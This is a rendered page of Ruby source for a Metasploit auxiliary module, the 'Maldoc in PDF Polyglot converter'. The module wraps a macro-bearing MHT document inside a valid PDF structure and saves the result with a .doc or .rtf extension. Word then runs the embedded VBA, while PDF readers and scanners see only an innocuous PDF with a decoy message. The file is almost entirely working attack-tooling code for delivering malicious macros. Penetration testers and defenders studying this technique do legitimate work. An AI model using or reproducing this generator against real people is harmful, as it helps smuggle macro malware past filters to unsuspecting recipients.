Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
19577 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::FILEFORMAT
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Maldoc in PDF Polyglot converter',
14
'Description' => %q{
15
A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file
16
structure of PDF.
17
18
If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.
19
20
The attack does not bypass configured macro locks. And the malicious macros are also not executed when the
21
file is opened in PDF readers or similar software.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
26
],
27
'Platform' => ['win'],
28
'References' => [
29
['URL', 'https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html'],
30
['URL', 'https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/'],
31
['URL', 'https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/'],
32
['URL', 'https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo']
33
],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'Reliability' => [],
37
'SideEffects' => [ARTIFACTS_ON_DISK]
38
}
39
)
40
)
41
42
register_options(
43
[
44
OptPath.new('FILENAME', [true, 'The input MHT filename with macro embedded']),
45
OptPath.new('INJECTED_PDF', [false, 'The input PDF filename to inject in (optional)']),
46
OptString.new('MESSAGE_PDF', [false, 'The message to display in the local PDF template (if INJECTED_PDF is NOT used)', 'You must open this document in Microsoft Word']),
47
OptEnum.new('OUTPUT_EXT', [true, 'The output file extension', '.doc', ['.doc', '.rtf']])
48
]
49
)
50
end
51
52
def create_pdf(mht)
53
pdf = ''
54
pdf << "#{rand_pdfheader}\r\n"
55
56
# item 1 (catalog)
57
pdf << "1 0 obj\r\n"
58
pdf << "<< /Type /Catalog /Pages 2 0 R >>\r\n"
59
pdf << "endobj\r\n"
60
61
# item 2 (pages)
62
pdf << "2 0 obj\r\n"
63
pdf << "<< /Type /Pages /Kids [3 0 R] /Count 1 >>\r\n"
64
pdf << "endobj\r\n"
65
66
# item 3 (page with resources)
67
pdf << "3 0 obj\r\n"
68
pdf << "<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >>\r\n"
69
pdf << "endobj\r\n"
70
71
# item 4 (content)
72
content = "BT /F1 12 Tf 100 700 Td (#{datastore['MESSAGE_PDF']}) Tj ET\r\n"
73
pdf << "4 0 obj\r\n"
74
# exact stream length
75
pdf << "<< /Length #{content.length} >>\r\n"
76
pdf << "stream\r\n"
77
pdf << content
78
pdf << "endstream\r\n"
79
pdf << "endobj\r\n"
80
81
# item 5 (helvetica font)
82
pdf << "5 0 obj\r\n"
83
pdf << "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\r\n"
84
pdf << "endobj\r\n"
85
86
# item 6 (MHT content)
87
pdf << "6 0 obj\r\n"
88
pdf << "<< /Length #{mht.length} >>\r\n"
89
pdf << "stream\r\n"
90
pdf << mht
91
pdf << "\r\nendstream\r\n"
92
pdf << "endobj\r\n"
93
94
# calculation of dynamic offsets
95
offsets = []
96
offsets << 0
97
for i in 1..6 do
98
offsets << pdf.index("#{i} 0 obj")
99
end
100
101
# XREF section
102
xref_start = pdf.length
103
pdf << "xref\r\n"
104
# update for 7 objects (0-6)
105
pdf << "0 7\r\n"
106
pdf << "0000000000 65535 f\r\n"
107
offsets[1..].each do |offset|
108
pdf << format("%010d 00000 n\r\n", offset)
109
end
110
111
# trailer
112
pdf << "trailer\r\n"
113
# update for 7 objects (0-6)
114
pdf << "<< /Size 7 /Root 1 0 R >>\r\n"
115
pdf << "startxref\r\n"
116
pdf << "#{xref_start}\r\n"
117
pdf << "%%EOF\r\n"
118
119
# saving the file
120
ltype = "auxiliary.fileformat.#{shortname}"
121
fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']
122
path = store_local(ltype, nil, pdf, fname)
123
124
print_good("The file '#{fname}' is stored at '#{path}'")
125
end
126
127
def inject_pdf(pdf_path, mht)
128
# read PDF in binary mode
129
pdf_data = File.binread(pdf_path)
130
vprint_status("PDF data length: #{pdf_data.length}")
131
132
# find the position of 'startxref'
133
startxref_index = pdf_data.rindex('startxref')
134
unless startxref_index
135
fail_with(Failure::Unknown, 'Invalid PDF: \'startxref\' not found')
136
end
137
138
xref_start_value = pdf_data[startxref_index..].match(/startxref\r?\n(\d+)/)[1].to_i
139
vprint_status("PDF startxref value: #{xref_start_value}")
140
vprint_status("PDF startxref position: #{startxref_index}")
141
142
# extract the original objects
143
original_objects = pdf_data[0...startxref_index]
144
145
# build the MHT object as the first object (0 0 obj)
146
mht_object = ''
147
mht_object << "0 0 obj\r\n"
148
mht_object << "<< /Length #{mht.length} >>\r\n"
149
mht_object << "stream\r\n"
150
mht_object << mht
151
mht_object << "\r\nendstream\r\n"
152
mht_object << "endobj\r\n"
153
154
# combine: MHT first, then original items
155
updated_objects = mht_object + original_objects
156
157
# calculate offsets for XREF section
158
offsets = []
159
updated_objects.scan(/(\d+) 0 obj/) do |match|
160
offsets << updated_objects.index("#{match[0]} 0 obj")
161
end
162
163
# build the XREF section
164
xref = "xref\r\n"
165
# includes free entry (0) and items
166
xref << "0 #{offsets.size + 1}\r\n"
167
# free entry
168
xref << "0000000000 65535 f\r\n"
169
offsets.each do |offset|
170
xref << format("%010d 00000 n\r\n", offset)
171
end
172
173
# build the trailer
174
xref_start_new = updated_objects.length
175
trailer = "trailer\r\n"
176
trailer << "<< /Size #{offsets.size + 1} /Root 1 0 R >>\r\n"
177
trailer << "startxref\r\n"
178
trailer << "#{xref_start_new}\r\n"
179
trailer << "%%EOF\r\n"
180
181
# assemble the final PDF
182
headers = "#{rand_pdfheader}\r\n"
183
pdf = headers + updated_objects + xref + trailer
184
185
# saving the file
186
ltype = "auxiliary.fileformat.#{shortname}"
187
fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']
188
path = store_local(ltype, nil, pdf, fname)
189
190
print_good("The file '#{fname}' is stored at '#{path}'")
191
end
192
193
def rand_pdfheader
194
selected_version = ['1.0', '1.1', '1.2', '1.3', '1.4', '1.5', '1.6', '1.7', '2.0'].sample
195
196
"%PDF-#{selected_version}"
197
end
198
199
def run
200
content = File.read(datastore['FILENAME'])
201
fail_with(Failure::BadConfig, 'The MHT file content is empty') if content&.empty?
202
203
# if no pdf injected is provided, create new PDF from template
204
if datastore['INJECTED_PDF'].blank?
205
print_status('INJECTED_PDF not provided, creating the PDF from scratch')
206
fail_with(Failure::BadConfig, 'No MESSAGE_PDF provided') if datastore['MESSAGE_PDF'].blank?
207
208
create_pdf(content)
209
else
210
print_status("PDF creation using '#{File.basename(datastore['INJECTED_PDF'])}' as template")
211
212
inject_pdf(datastore['INJECTED_PDF'], content)
213
end
214
end
215
216
end
217
218